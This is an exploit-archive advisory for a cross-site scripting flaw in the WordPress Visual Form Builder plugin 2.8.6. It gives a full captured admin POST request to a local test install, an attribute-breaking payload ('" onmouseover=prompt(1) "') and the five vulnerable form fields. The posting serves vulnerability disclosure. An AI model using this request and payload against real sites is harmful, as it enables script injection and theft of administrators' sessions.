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WordPress Visual Form Builder 2.8.6 Cross Site Scripting

WordPress Visual Form Builder 2.8.6 Cross Site Scripting
Posted Mar 28, 2016
Authored by Sachin Wagh

WordPress Visual Form Builder plugin version 2.8.6 suffers from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | 855b7b6b6a6390165f50cf3fcc37156c

WordPress Visual Form Builder 2.8.6 Cross Site Scripting

Change Mirror Download
Product: Visual Form Builder
Version: 2.8.6
Exploit Author: Sachin Wagh
Home page Link: https://wordpress.org/plugins/visual-form-builder/

============================================================================
Details:
The Visual Form Builder plugin for WordPress is prone to a multiple
cross-site scripting vulnerabilities because it fails to sufficiently
sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code
in the browser of an unsuspecting user in the context of the affected
site. This may allow the attacker to steal cookie-based authentication
credentials and to launch other attacks.
============================================================================
Proof-Of-Concept:
1. Burp Request :
POST /wordpress-4.4/wordpress/wp-admin/admin.php?page=vfb-add-new HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0)
Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/wordpress-4.4/wordpress/wp-admin/admin.php?page=vfb-add-new
Cookie: wordpress_9053f69aa70f4fc50a08aff40972c70e=root%7C1459163175%7CgnpQ5n2Jyk8tvw7nITUlZpPevPKU3r5JS9Ja1FqziVQ%7C42531fef03062ec0f133098c9ed48188fdfde52068a62e2fe97bf6cace6400a5;
wp-settings-time-1=1458990477;
wp-settings-1=libraryContent%3Dbrowse%26mfold%3Do%26posts_list_mode%3Dexcerpt%26uploader%3D1%26widgets_access%3Doff;
wordpress_logged_in_9053f69aa70f4fc50a08aff40972c70e=root%7C1459163175%7CgnpQ5n2Jyk8tvw7nITUlZpPevPKU3r5JS9Ja1FqziVQ%7C9a2dbae4f558cd34542207d3e49ac49e475db7ebc883b067b94a3e6501affaa5;
security_level=0; _ga=GA1.1.1331075502.1458634204
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 264
action=create_form&_wpnonce=4cdadd3b17&_wp_http_referer=%2Fwordpress-4.4%2Fwordpress%2Fwp-admin%2Fadmin.php%3Fpage%3Dvfb-add-new&form_title=XSS-1&form_email_from_name=XSS-2&form_email_from=XSS-3&form_email_subject=XSS-4&form_email_to%5B%5D=XSS-5&submit=Create+Form
2. Payload : " onmouseover=prompt(1) "
============================================================================
Vulnerable Product: [+] Visual Form Builder 2.8.6
Vulnerable Parameter(s):
[+]form_title
[+]form_email_to[]
[+]form_email_from_name
[+]form_email_from
[+]form_email_subject

============================================================================

Affected Area(s):
[+] http://localhost/wordpress-4.4/wordpress/wp-admin/admin.php?page=vfb-add-new
============================================================================
Credits & Authors :
Sachin Wagh (@tiger_tigerboy)
============================================================================

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